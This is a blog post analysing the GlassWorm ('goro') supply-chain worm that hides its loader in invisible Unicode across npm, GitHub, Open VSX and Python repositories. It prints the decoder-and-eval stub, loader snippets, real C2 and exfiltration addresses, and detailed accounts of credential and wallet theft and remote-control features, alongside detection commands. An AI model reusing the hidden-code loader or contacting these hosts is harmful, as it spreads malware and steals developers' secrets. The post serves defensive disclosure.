Goro Lives!
.png)
i was digging around on reddit a couple of weeks ago and came across a post by a developer u/eugneussou on r/github titled, ’“null” committed to most of my repos adding suspicious code’ with the following screenshot:

at first glance it doesn’t look like much, a commit, a few lines of code, a few blank lines. but these few lines of code were popping up as a null commit on most of u/eugneussou’s repos, and they had no memory of committing them.
if you have been following my blog you know that i have been writing about a series of supply chain attacks on the npm infrastructure over the last eight months (sha1-hulud, react/next.js rce, etc) and this one, with the blank lines, has been on my radar for the last couple of weeks but it has been hard to get it down on paper because this is very sophisticated and right on the upper level of my limited ability to understand malware analysis, but let’s dig into it anyway, starting with that bit of mysteriously committed code.
the null commit
here is the code that was added to u/eugneussou’s repository, supposedly by them, but without their knowledge or approval:
const s = v => [...v].map(w => (
w = w.codePointAt(0),
w >= 0xFE00 && w <= 0xFE0F ? w - 0xFE00 :
w >= 0xE0100 && w <= 0xE01EF ? w - 0xE0100 + 16 : null
)).filter(n => n !== null);
eval(Buffer.from(s(``)).toString('utf-8'));
on the last line between the backticks there is what looks like an empty string. the thing is it isn’t empty. between those two backticks there are thousands of characters of code written in ‘invisible’ unicode. characters your eyes don’t see, that VSCode doesn’t see, that github’s diff viewer doesn’t see, but once those couple of lines of code above them run the javascript runtime can see them, and when it does see them that invisible code becomes a malware payload that will reach out and turn your computer into a bot that will steal from you everything it can while simultaneously reaching out to turn other computers into bots, and it does so in an absolutely ingenious way.
this is glassworm, and in the first half of this month, march 2026, security teams had collectively reported on nearly 500 repositories, packages, and extensions as victims and vectors in a supply chain attack that spanned four separate software ecosystems as part of one single coordinated four-armed campaign, a campaign i like to call goro.
what is glassworm
glassworm is self-propagating malware. it targets the tools that developers use to make software: their supply chain. it was first identified by koi security in october 2025 when it showed up in seven openvsx extensions with a combined 35,800 downloads. openvsx publishes open source plugins for VSCode, codium, cursor, and other code editors. the name glassworm comes from the hidden code technique: like glass glassworm is clear. you can be staring directly at the code and not even notice that it is there.
what makes it a “worm” is that it self propagates. last october, in its original form, glassworm propagated all on its own. but in its current iteration as goro it uses its foothold on your computer to download a RAT, a remote access trojan. when that RAT lands on your machine it steals your npm tokens, your github credentials, your openvsx publishing access, and then uses all of those to compromise more packages and extensions with the worm under your identity by making commits to your software projects like it did to u/eugneussou. each new victim becomes a new vector for infection, automatically.
by the first week of march of 2026 koi security, aikido, socket, and stepsecurity had collectively identified 433 components compromised by glassworm. in the second week of march three of those research teams published reports almost simultaneously each believing they had found separate campaigns in three different ecosystems. aikido had found over 150 compromised github repositories using invisible unicode. socket had found 72 malicious vscode extensions in open-vsx. stepsecurity had found hundreds of python repos being silently rewritten via stolen github tokens.
and then the team at opensourcemalware.com pulled it all together. one solana address appeared in all three reports (and in fact appeared in the code i was looking at over on reddit):
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC
these three teams (and us redditors) were looking at the same monster and it had a hand in four different ecosystems. a four armed monster engaged in mortal kombat: goro.
the invisible code trick
so how do we make code invisible? we make code invisible by writing it in invisible characters.
unicode is a universal character encoding standard that exists to make sure that every letter, number, symbol, or emoji is represented consistently across different platforms, languages, and applications. and in unicode there are certain code points that exist only to modify the appearance of the characters immediately before them. these are called variation selectors. they are what tells your computer to render 🔥 as a fully shaded color emoji instead of a black-and-white plain text glyph: 🔥︎. follow the fire character with the variation selector 16 (U+FE0F) and you get the version with color, but U+FE0F produces no visible output of its own. it doesn’t display anything, it just augments: it is invisible by design.
glassworm uses two specific ranges: U+FE00 through U+FE0F and U+E0100 through U+E01EF. glassworm’s loader reads each invisible character as 4 bits of data (two characters per byte) and if you string enough of them together you can hide a payload that no editor, terminal, linter, or diff tool will ever display. as idan dardikman of koi security put it when they first documented the technique in october: “this is a fundamental break in our security model. we’ve built entire systems around the assumption that humans can review code. glassworm just proved that assumption wrong.”1
goro: the four armed monster

this new, as of march 2026, campaign is what opensourcemalware.com has framed as a “quad-platform”2 operation or a “four-armed monster”. it’s the same operator using four simultaneous attack vectors, each tailored to its ecosystem, ultimately converging on the same payload linked by the shared solana wallet address above from which the larger piece of malware is downloaded.
in npm and github the invisible code wasn’t always injected with null commits like we saw on reddit either, in some cases reported by aikido3 they were committed with bespoke, probably llm-generated messages, to help hide them from dev teams.
in the vscode plugin marketplace and in open-vsx, socket4 found that the operators had gotten creative with the extensionPack and extensionDependencies fields to create a transitive delivery system where the malicious extension became a dependency of something normal and benign.
meanwhile, according stepsecurity’s5 report, python github repositories were being hit by a different obfuscation method: base64, then zlib compression, then XOR with key 134. the malicious code would be appended to legitimate files like setup.py, main.py, and app.py. and then used tokens stolen from already-infected developer machines to force-push the malicious commits, preserving the original author, commit message, and author date. only the committer date changed, and the committer email showed up as null, similar to what i had seen posted on reddit.
so far we have only talked about how goro spreads, now let’s get a little into the weeds on how it works. luckily u/eugneussou posted the decoded invisible stage 1 loader to pastebin for us to look at.
the stage 1 loader
so you have unwittingly downloaded the ‘invisible’ unicode as part of a git repository and your computer decodes the stage 1 loader and starts to run it. the first thing the loader does is wait:
new Promise((resolve) => setTimeout(resolve, 10 * 1e3)).then((_) => {
it waits for 10 seconds before doing anything. in those critical ten seconds it sneaks past 80% of automated analysis tools that are watching for immediate malicious activity after execution. next it tries to decide if the machine it’s on is russian.
if (_isRussianSystem()) return;
it goes through a number of checks: username, system locale, system language, and 13 russian specific timezones. if it finds both an indication of russian-language locale and a russian matching timezone, it doesn’t run. it tries as hard as it can not to run on russian machines.
the next sneaky thing it does is it only runs once every 48 hours:
if (!(check?.date && check.date + 2 * 24 * 60 * 60 * 1e3 < Date.now())) return;
this prolonged cool down is insane. lots of malware gets flagged because it beacons constantly and at a completely inhuman rate, hundreds, thousands of times a second, this thing is more than happy to just sit there and wait.
when it does decide to do something it checks the local operating system and then reaches out to the solana wallet for the current rolling command and control (C2) url, from there it fetches the encrypted payload specific to your operating system, and receives an aes-256-cbc decryption key and iv separately in the http response headers. the encrypted payload and the keys never travel together so that even if the payload is intercepted, you need to make a second request through the solana-resolved C2 to get the current keys to decrypt it.
interestingly, during my analysis i pasted a section of the decoded stage 1 loader into a markdown file on my windows laptop and windows defender immediately started screaming. this was a markdown file, not an executable, but defender flagged it instantly. meanwhile in its encoded ‘invisible’ form my computer had seen nothing at all. it’s a pretty good illustration of exactly what the invisible unicode technique is doing: the malware is only visible to the things that can execute it, and is invisible to everything designed to catch it.
the unkillable RAT: 3 layers of C2
so now that the initial invisible worm has downloaded a remote access trojan (RAT) via the solana wallet, our computer can be commanded and controlled (C2) remotely (koi security, and it seems maybe they creators of it, called this module ZOMBI). in most malware C2 is easy to disrupt: you find the server maliciously controlling other computers, you report that server, and that server gets taken down and your computer is yours again. but goro’s RAT module ZOMBI has three layers of C2 redundancy and each of them is set up in a way to be almost impossible to disrupt.
layer 1: the solana blockchain.
goro uses the solana wallet as described above to resolve a base64-encoded url pointing to the current payload server. blockchain transactions are immutable (you can’t delete them), the wallet is pseudonymous, it is distributed, there’s no hosting provider to contact, no domain to seize, no registrar to pressure. the operator can update their C2 url for less than a penny by posting a new transaction.
layer 2: bittorrent DHT.
goro also uses bittorrent’s distributed hash table (DHT) to look up a configuration record containing the current C2 ip, payload urls, encryption keys, and binary hashes. here’s the clever part: every infected machine that reads the config immediately republishes it back to the DHT. the entire botnet becomes a content delivery network for its own command infrastructure. even if the operator’s own DHT node goes dark, the configuration is replicated across every infected machine worldwide and keeps circulating. once again distributed and impossible to take down.
layer 3: google calendar.
now this one is so clever and simple that it is stupid. as a back up if the other two methods fail the goro infected machine will reach out to a public google calendar event with a title that contains a base64-encoded url to obtain command and control. it’s free, no one is going to block google, no authorization or stolen credentials required. if it gets flagged they can always make another anonymous google account and a new google calendar event.
what it does to your machine
so now we are on stage 3, where goro actually starts trying to steal from you.
first the ZOMBI module tries to silently harvest credentials from your browser and if that fails it will pop-up a fake system dialog box asking for your password. and what is it stealing? everything your browser has ever touched:
- all browser data from 10 chromium variants (chrome, brave, edge, vivaldi, opera, and more): cookies, login data, autofill, and all browser extension local storage
- 150 hardcoded chromium cryptocurrency wallet extension ids
- firefox profiles, with metamask specifically targeted by parsing
prefs.jsfor the extension UUID - 15 desktop wallet directories: electrum, exodus, ledger live, wasabi, bitcoin core, monero, tonkeeper, trezor suite, and more
- ssh keys — with validation, it checks for
BEGIN PRIVATE KEYbefore exfiltrating - aws credentials
- vpn configurations
- documents under 10mb matching common office and archive extensions (essentially every potentially business-sensitive document on your machine, from spreadsheets to contracts to NDAs)
at the same time the node.js credential theft is running alongside it, taking github tokens through four fallback methods, npm tokens through three, and a native keychain extractor downloaded from the C2.
and all of it goes to two separate exfiltration servers with campaign metadata sent as http headers.
the wallet trojanization
this is the nastiest part. if you have a crypto wallet on your machine, in particular if ledger live or trezor suite is installed, goro kills the running process, deletes the app, downloads a trojanized version from the C2, and strips the quarantine flags twice (once after extraction and once after install) to prevent any security warnings.
hardware wallets are trusted precisely because signing happens on a separate physical device. a compromised companion app can intercept seed phrases during recovery flows or silently manipulate transactions without you ever knowing. this thing doesn’t just steal your wallet, it replaces it completely with its own and keeps anything in it or added to it.
the zombi rat
so now the RAT is installed and running. it connects to the C2 via socket.io on port 4789 and it has four modes of operation.
socks5 proxy. your developer workstation, the one that is sitting inside your network behind firewalls and security controls, becomes an exit node for criminal traffic. the attackers route their activity through your ip address. your machine can reach internal resources that no external proxy ever could.
webrtc peer-to-peer. direct control channels via NAT traversal. the operator can talk directly to your machine without making a connection to a central server which might be flagged by network monitoring software as suspicious. this is the same technology your web browser uses to make peer-to-peer video calls and thus looks like normal traffic.
bittorrent DHT command distribution. the same DHT network used to find the C2 is also used to distribute commands. there is no central node to take offline.
HVNC — hidden virtual network computing. this is the scary one. complete invisible remote desktop access. it runs in a virtual desktop that produces no visible windows and doesn’t show up in your process monitor. the operator can use your browser with your logged-in sessions, read your source code, get into your email and messaging apps, and pivot to other machines on your network as though it was you. you see nothing, nothing looks wrong, nothing is slow but they are in there pretending to be you.
the RAT is very good at persisting. it catches every termination signal (sigint, sigterm, sigquit), every flavor of crash, every unhandled exception and reports back to the C2, and if necessary, restarts itself after 21 seconds. you cannot kill it through normal means.
attribution
so who is doing this? evidence points toward russian-speaking operators though attribution in these situations is always uncertain and worth being careful not to overstate.
the stage 1 loader checks thoroughly for russian locale, querying language settings cross referenced with russian timezones and UTC offsets. russian-language error strings show up in the npm credential theft module: “Токен не найден” (token not found), “Невалидный токен” (invalid token). the C2 infrastructure is hosted on aeza group, a russian hosting provider. the solana wallet that funds the whole operation holds over 1,000 SOL and is clearly not a throwaway address.
opensourcemalware.com compared this campaign to polinrider and tasksjacker, two north korean campaigns that also use blockchain C2, and concluded it’s probably not the same people. the russian geofencing, the mix of traditional server infrastructure alongside blockchain, and the payload format are all different from what north korea typically runs. “probably russian in origin, not necessarily state-run but not not state-adjacent either”2 is about as far as anyone is willing to go.
so what this means for npm
well, the invisible unicode technique breaks the assumption that code review means anything at the package level. you cannot catch what you cannot see, and no linter, no diff tool, no amount of staring at a pull request is going to flag those invisible unicode variation selector characters.
pinned versions and lockfiles don’t matter when the upstream package is compromised and published under a legitimate maintainer account. you pinned to a clean hash and now that clean hash points to malware. that’s how supply chain attacks work.
the same goes for auto-updated vscode extensions and the implicit trust most of us extend to npm install. you installed extensions months ago that were clean and now are suddenly infected without having actively done anything.
the python forcememo vector means that git clone followed by npm install and pip install from a github source are suddenly risky behaviors. you could even be visually checking the full commit history of every piece of code you are running and could still miss it because ‘invisible’.
detection & iocs
on a potentially infected macos machine:
# persistence
ls ~/Library/LaunchAgents/com.user.nodestart.plist
# hidden node.js
ls ~/.config/system/.data/.nodejs/
# rat state file
cat ~/init.json
# phished password stored in keychain
security find-generic-password -s "pass_users_for_script" 2>/dev/null
# error log artifacts
find ~ -name "error*XkrnQlLAX*" 2>/dev/null
# stolen data staging directory
ls /tmp/ijewf/
in your codebase:
# python forcememo marker variable
grep -r "lzcdrtfxyqiplpd" .
# unicode decoder fingerprint
grep -r "w>=0xFE00" .
# the solana address
grep -r "BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC" .
# force-push null committer fingerprint
git log --all --format="%cn|%ce" | grep "null"
network iocs:
217.69.11.99:4789— socket.io C2208.85.20.124:80/wall— exfiltration endpoint- solana wallet:
BjVeAjPrSKFiingBn4vZvghsGj9KCE8AJVtbc9S8o8SC - DHT public key:
ea1b4260a83348243387d6cdfda3cd287e323958
tools that might help you not get got:
- aikido safechain — wraps npm/npx/yarn and scans installs before they run
- aikido intel — these packages are flagged at 100/100 severity
- github code search for the decoder fingerprint:
0xFE00&&w<=0xFE0F?w-0xFE00:w>=0xE0100&&w<=0xE01EF
the kill switch that doesn’t work
one last thing worth mentioning. if you go back and read that original reddit thread you can watch u/willing_monitor5855 (also known as tip-o-deincognito on codeberg) show up in the comments. i basically watched this person do live malware analysis in real time, coming back to the thread with increasingly detailed breakdowns.
it was one of the coolest things i have seen on the internet in a long time: a stranger on reddit spending their evening reverse engineering an active botnet for someone who posted in r/github that they had some weird commits. i guess the internet is not entirely dead, even if it might be dying there are still a few of us out here. u/willing_monitor5855’s 57 hours of live monitoring is documented in their codeberg writeup which i definitely suggest checking out and from which i learned a lot in the writing of this post.
at some point during that window u/willing_monitor5855 noticed that the operator appeared to be trying to shut things down. every payload endpoint started going dark one by one. and the main stealer endpoint started returning a single value:
cHJvY2Vzcy5leGl0KDAp
decode that from base64 and you get process.exit(0). the operator was trying to remotely kill their own botnet.
it didn’t work, for three completely independent reasons.
first: process.exit(0) encodes to exactly 20 characters in base64. and the RAT has this check:
if (_script.length == 20) {
return;
}
so the kill command is immediately and silently tossed out. why i don’t know. in their report u/willing_monitor5855 thought maybe this was a red herring, inserted to make researchers think that the operator of the RAT was shutting it down when they were really just letting it go dormant.
second: even if that check wasn’t there, the payload fetching function only runs once every seven days. most bots wouldn’t even try to pick up the kill command for days.
third: even if process.exit(0) somehow executed, the persistence mechanism is configured to restart the process immediately on any exit, so it’s persistent even if that command was successful. it is also possible that the operator didn’t write the RAT and doesn’t understand how it works.
strangely the stage 1 loader, the invisible unicode one that runs on a fresh infection, handles 20 character payloads correctly and would have eval’d the kill command just fine. the kill switch works perfectly on machines that haven’t been fully infected yet and does absolutely nothing to the ones that are already completely compromised. maybe a kill switch only in case of accidental initial infection? that still seems like a small window in which to respond.
u/willing_monitor5855 watched the C2 continue running bot inventory, checking which machines were still phoning home, for the entire 57 hours even as servers that were receiving the stolen data went down. as they put it on reddit, “the campaign is over in intent but the botnet will persist indefinitely on infected machines.”6
sources
a lot of people did the actual hard work that made this post possible:
- koi security team — original discovery, ZOMBI RAT analysis, wave 4 macos pivot
- aikido security team — march 2026 wave, scale reporting, safechain tool
- socket team — transitive extension delivery, open-vsx coverage
- stepsecurity team — forcememo, python repo analysis, blockchain forensics
- opensourcemalware.com team — cross-campaign correlation, the four armed monster framing that tied all three reports together
- u/willing_monitor5855 / tip-o-deincognito — codeberg writeup, 57 hours of live infrastructure monitoring, kill switch postmortem, ioc submissions to threatfox urlhaus and malwarebazaar
- u/eugneussou — author of the reddit thread and the pastebin that started my spiral into malware analysis
-
GlassWorm: First Self-Propagating Worm Using Invisible Code Hits OpenVSX Marketplace ↩︎
-
Four Arms, One Monster: GlassWorm Invades GitHub, NPM, Open VSX and VS Code ↩︎ ↩︎
-
Glassworm Returns: Invisible Unicode Malware Found in 150+ GitHub Repositories ↩︎
-
72 Malicious Open VSX Extensions Linked to GlassWorm Campaign ↩︎
-
ForceMemo: Hundreds of GitHub Python Repos Compromised via Account Takeover and Force-Push ↩︎
-
“null” committed to most of my repos adding suspicious code ↩︎